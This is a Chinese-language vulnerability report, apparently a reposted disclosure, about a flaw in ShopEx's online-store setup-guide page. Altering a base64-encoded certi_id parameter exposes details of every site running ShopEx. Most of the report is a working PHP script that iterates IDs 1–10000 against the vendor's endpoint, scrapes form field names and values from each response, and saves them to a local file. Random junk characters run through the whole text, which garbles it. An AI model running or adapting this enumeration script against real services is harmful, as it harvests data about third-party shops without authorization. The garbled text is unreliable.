|
简要描述:
1 q& N$ `- H6 Y( @ShopEx某接口缺陷,可遍历所有网站9 W- P! e4 _' G
详细说明:
+ E" ~# [! {' N# H$ V9 X) N问题出现在shopex 网店使用向导页面 * A" s: W7 c5 q$ e
8 _4 ]/ d g s; H& @- A, K j! r
B- J2 `3 c; b/ c4 k% M
3 v4 R c N- ]" V* U! \
http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=! W$ g" p: R. g4 h# M
9 J2 W5 `( S9 M
; R; V3 E* {7 U: ~ J, { Y7 U
, F( v; C( w/ S! |/ y7 ?refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
' i/ v! k+ i8 m; e6 G" ^3 j, v
7 P3 z* u; E( M3 }$ L. a' l2 ]0 j9 z$ _, X- ~1 Q4 k# T
! ^2 B$ d1 Y& ~" J4 T& q1 W9 o
我们修改certi_id 即可遍历所有使用了ShopEx程序的网站 5 t2 E. S$ b4 R/ q3 ?0 z# u
8 b: Q/ x& Z- C( [6 ?
. |3 D& [) s% V* f7 f
0 U q) h( e& _1 B9 i) Z( E5 [<?php3 H- H# K* N; V. B. M
" o# W1 }) i/ A% V! @
for ($i=1; $i < 10000; $i++) { //遍历: u( U+ ?# `. ~3 o% n: K3 t4 u3 x" [
0 y; L% e1 @2 K! E% ^ ShowshopExD($i);
& Y/ S$ X0 x0 p- \: V8 L [0 Q. }5 W
}
+ b& {1 E" ^9 m# W
" V6 U( O" [- x: ` function ShowshopExD($cid) {* L% T, |" }2 W) w
1 K, K: I) r6 b9 f4 g# ^9 ~6 Z
$url='http://guide.ecos.shopex.cn/step2.php';
- L+ j( D& Q8 |
. V" w% |0 j* z h6 O $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
9 V& `4 R- o5 |, [
; [" F0 B# I) o $url = $url.'?refer='.$refer;. O- ]- ?" z% R! s( g. s
" i4 {# G" U" K
$ch = curl_init($url);
5 K! T4 `/ b5 }; P6 r) C4 R
- d% u9 b: \: q' w curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
! z- b# n) H/ ~. X$ X! X5 G# o3 c* j0 `3 Z
curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
; I% W& A' y9 z
* e! W/ Q1 O/ b) I7 W- a $result = curl_exec($ch);
( e. f1 O1 d+ V: L2 P" ~ S' E q$ O# H0 f% B
$result = mb_convert_encoding($result, "gb2312", "UTF-8");
X) [6 w. K' W4 M, H8 _6 z) C/ h1 b/ p6 {4 r5 J: L
if(strpos($result,$refer))8 d3 Q a7 D" K6 N* C; ^' {! K! [- [
7 _8 u$ h9 _8 `9 B. u7 M- Z
{" R) y: [7 O* R ^" n6 z. r% V0 m2 [
' \$ _( s1 v5 h3 t $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
& g/ ^* A& E0 U8 k: U* j. j e/ x" f4 K
preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);) L2 s# V: O( o. @% e) r, \5 g
& ?& E' y5 d4 F* v: Q foreach ($value[1] as $key) {
+ E7 ?9 Z/ E- M$ S* C; T9 p( Q1 q- g* t2 ?0 }9 ]4 |
preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);3 \0 I; ]+ h+ x) }7 M
+ ?' k* `- v8 [3 Y n
echo $res[1][0].':'.$res[3][0]."\r\n";, c. ]$ N* n1 v, S: z+ v$ E! |8 y
1 i, Z! `) N& s1 j# u' }. t! S $col =$res[1][0].':'.$res[3][0]."\r\n"; 8 `. @- V: b+ H8 C) k( U% H
& z5 N0 F' k7 h1 x0 T% w7 D# t
fwrite($fp, $col, strlen($col));
h6 G4 q# `; c; r' L% \( H2 I3 ?* n; D! r: V+ @
}
1 ?5 f; M! K# l% Q( u
: v, U3 E$ j* C% H6 f: ?% q echo '--------------------------------'."\r\n";! h W/ f0 W6 `/ C2 ~
8 g( u4 h9 ~( t, v' H+ D0 t# |
fclose($fp); - v" O: L2 b2 P& B' A2 B4 X
3 d8 G6 o0 C @8 D- L; ]4 m2 D o8 ]
}
3 e; x2 |! n+ \; d8 k
: e# d7 a9 L5 @3 R& A. M: q h b flush();+ g$ u$ n- X! Z- o( B+ ?
$ a3 j ]0 c4 H: y
curl_close($ch);
) B- J: _# F C; D1 P
+ @2 e2 f! @9 ]" z* a* j( `: C3 u2 Z }( c q! Z: x% M8 x; l4 t3 {
5 Q3 p2 N6 ^0 a
?>8 w0 G5 K1 S# C
漏洞证明:
: w5 o& i. v& M7 V: H! zhttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg. x4 Y$ p5 H% S1 f2 Z: H* `- l
refer换成其他加密方式1 Y4 ?. {" ]( C
|
|